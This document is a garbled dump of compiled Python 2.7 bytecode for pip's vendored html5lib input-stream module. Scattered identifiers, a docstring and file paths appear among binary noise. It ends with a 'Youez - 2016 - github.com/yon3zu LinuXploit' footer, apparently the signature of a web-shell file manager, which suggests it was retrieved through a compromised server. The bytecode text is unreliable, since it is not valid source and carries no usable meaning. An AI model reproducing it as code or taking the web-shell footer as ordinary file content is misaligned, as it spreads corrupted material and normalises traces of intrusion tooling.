        if one is found, or Nonet/iRt=R)t't"N(RN(R�R(R�R�(R(RpR�t	frozensetRFRRRdR*tasciiUppercaseBytesR'R�R�R�R�(RR(R|tattrNamet	attrValuet	quoteChar((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR�sh	$	


	

	(R1R2R3RR�R�R�R�R�R�R�R�(((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR��s				$				R�cB`seZd�Zd�ZRS(cC`s"t|t�st�||_dS(N(R4R#RR((RR(((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyRfscC`s:y!|jjd�|jjd7_|jj�|jjdksHdS|jjd7_|jj�|jjdkr�|jj}|jjd7_|jj}|jj|�r�|j||jj!SdSnP|jj}y(|jjt�|j||jj!SWntk
r|j|SXWntk
r5dSXdS(NR�iR�R�R�(R�R�(	R(R�RRpR�RFR�R�R�(Rt	quoteMarktoldPosition((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR�js.



(R1R2RR�(((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR�es	cC`swt|t�r:y|jd�}Wq:tk
r6dSXn|dk	roytj|�SWqstk
rkdSXndSdS(u{Return the python codec name corresponding to an encoding or None if the
    string doesn't correspond to a valid encoding.uasciiN(R4RtdecodetUnicodeDecodeErrorRFRtlookuptAttributeError(R�((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyRK�s

(6t
__future__RRRtpip._vendor.sixRRtpip._vendor.six.movesRRR�Rvtpip._vendorRt	constantsRR	R
RRR)R
tioRRR�R�R&tencodeR�R�R�R�tinvalid_unicode_no_surrogateRERVRRwtevalRgtsetRotascii_punctuation_reRttobjectRRDR=R>R#R�R�R�RK(((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyt<module>sR"

(((	+
J	��h�'

Youez - 2016 - github.com/yon3zu
LinuXploit